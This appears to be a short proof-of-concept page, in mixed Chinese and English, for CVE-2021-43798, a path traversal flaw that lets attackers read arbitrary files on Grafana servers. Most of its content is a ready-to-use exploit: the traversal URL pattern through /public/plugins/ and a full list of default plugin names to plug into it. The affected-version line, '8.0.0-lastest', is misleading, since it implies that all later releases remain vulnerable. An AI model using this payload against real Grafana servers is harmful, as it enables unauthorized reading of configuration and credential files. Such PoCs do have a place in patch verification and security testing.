CVE-2021-43798 PoC — Grafana 路径遍历漏洞

Description

Grafana File-Read Vuln

介绍

# Grafana-CVE-2021-43798
Grafana File-Read    影响版本：8.0.0-lastest

![图片](https://user-images.githubusercontent.com/57030243/145164498-511a297f-f26a-4517-a2b4-0fd2e22ae95d.png)

# Poc-http-get 
/public/plugins/{plugins-lst}/../../../../../../../../{filename}
# Default plugins-lst
```
alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin
```

文件快照

备注